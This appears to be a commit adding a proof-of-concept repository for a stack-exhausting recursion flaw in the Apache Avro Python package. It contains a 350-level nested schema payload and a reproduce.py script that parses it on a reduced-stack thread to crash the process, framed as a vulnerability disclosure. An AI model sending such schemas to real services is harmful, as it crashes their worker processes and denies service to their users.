Upload 3 files
Browse files- README.md +42 -3
- malicious_schema.avsc +1 -0
- reproduce.py +48 -0
README.md
CHANGED
|
@@ -1,3 +1,42 @@
|
|
| 1 |
-
|
| 2 |
-
|
| 3 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# PoC: Uncontrolled Recursion in Avro Schema Parsing → Process Crash (SIGSEGV)
|
| 2 |
+
|
| 3 |
+
**Affected:** `avro` (Apache Avro Python package) 1.12.1
|
| 4 |
+
**Vulnerability class:** CWE-674 (Uncontrolled Recursion)
|
| 5 |
+
|
| 6 |
+
## What this repo contains
|
| 7 |
+
|
| 8 |
+
`malicious_schema.avsc` — a valid-syntax Avro schema file, 8,756 bytes,
|
| 9 |
+
consisting of 350 nested `"array"` type wrappers around a base `"long"`
|
| 10 |
+
type. Every individual level is syntactically valid Avro; only the
|
| 11 |
+
nesting depth is abusive.
|
| 12 |
+
|
| 13 |
+
## How to reproduce
|
| 14 |
+
|
| 15 |
+
```bash
|
| 16 |
+
pip install avro
|
| 17 |
+
python3 reproduce.py
|
| 18 |
+
```
|
| 19 |
+
|
| 20 |
+
On an affected system, this crashes the Python process with SIGSEGV
|
| 21 |
+
(exit code 139 / "Segmentation fault") — not a caught Python
|
| 22 |
+
exception — when the schema is parsed on a thread with a reduced
|
| 23 |
+
stack size (256KB, the standard default greenlet stack size used by
|
| 24 |
+
`gevent`/`eventlet`, common in async Kafka/AMQP consumer deployments
|
| 25 |
+
written in Python).
|
| 26 |
+
|
| 27 |
+
On a default (full-size) thread stack, the same file only produces a
|
| 28 |
+
catchable `RecursionError` — the crash specifically requires the
|
| 29 |
+
reduced-stack execution context, which is realistic but not
|
| 30 |
+
universal. See the full report for details.
|
| 31 |
+
|
| 32 |
+
## Why this matters
|
| 33 |
+
|
| 34 |
+
Any Python service that (a) accepts externally-supplied Avro schemas
|
| 35 |
+
(e.g. a Kafka consumer that reads schema definitions from message
|
| 36 |
+
metadata or a schema registry) and (b) runs on a
|
| 37 |
+
`gevent`/`eventlet`-style worker, can have its entire worker process
|
| 38 |
+
crashed by a single ~9KB malicious schema — not just the one message
|
| 39 |
+
being processed.
|
| 40 |
+
|
| 41 |
+
Full write-up, environment details, threshold measurements, and
|
| 42 |
+
suggested remediation are in the accompanying disclosure report.
|
malicious_schema.avsc
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":"long"}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
|
reproduce.py
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
Reproduces the crash using the malicious_schema.avsc file in this repo.
|
| 4 |
+
|
| 5 |
+
pip install avro
|
| 6 |
+
python3 reproduce.py
|
| 7 |
+
|
| 8 |
+
Expected on an affected system: process terminates with SIGSEGV
|
| 9 |
+
(exit code 139), not a caught Python exception.
|
| 10 |
+
"""
|
| 11 |
+
|
| 12 |
+
import sys
|
| 13 |
+
import threading
|
| 14 |
+
|
| 15 |
+
GEVENT_TYPICAL_STACK_BYTES = 262144 # 256 KB — common gevent greenlet default
|
| 16 |
+
|
| 17 |
+
|
| 18 |
+
def main():
|
| 19 |
+
with open("malicious_schema.avsc", "r") as f:
|
| 20 |
+
schema_json = f.read()
|
| 21 |
+
|
| 22 |
+
print(f"Payload size: {len(schema_json)} bytes")
|
| 23 |
+
print(f"Thread stack size: {GEVENT_TYPICAL_STACK_BYTES} bytes (gevent-typical default)")
|
| 24 |
+
print(f"sys.getrecursionlimit(): {sys.getrecursionlimit()} (untouched default)")
|
| 25 |
+
print()
|
| 26 |
+
|
| 27 |
+
import avro.schema
|
| 28 |
+
parse_fn = getattr(avro.schema, "parse", None) or getattr(avro.schema, "Parse", None)
|
| 29 |
+
|
| 30 |
+
def worker():
|
| 31 |
+
print("[worker thread] calling avro.schema.parse() on malicious_schema.avsc...")
|
| 32 |
+
parse_fn(schema_json)
|
| 33 |
+
print("[worker thread] parse() returned without crashing "
|
| 34 |
+
"(try a deeper schema for this environment)")
|
| 35 |
+
|
| 36 |
+
threading.stack_size(GEVENT_TYPICAL_STACK_BYTES)
|
| 37 |
+
t = threading.Thread(target=worker)
|
| 38 |
+
t.start()
|
| 39 |
+
t.join()
|
| 40 |
+
|
| 41 |
+
print()
|
| 42 |
+
print("If you see this line, the process survived. On an affected "
|
| 43 |
+
"system, the process crashes with SIGSEGV before this point "
|
| 44 |
+
"is ever reached.")
|
| 45 |
+
|
| 46 |
+
|
| 47 |
+
if __name__ == "__main__":
|
| 48 |
+
main()
|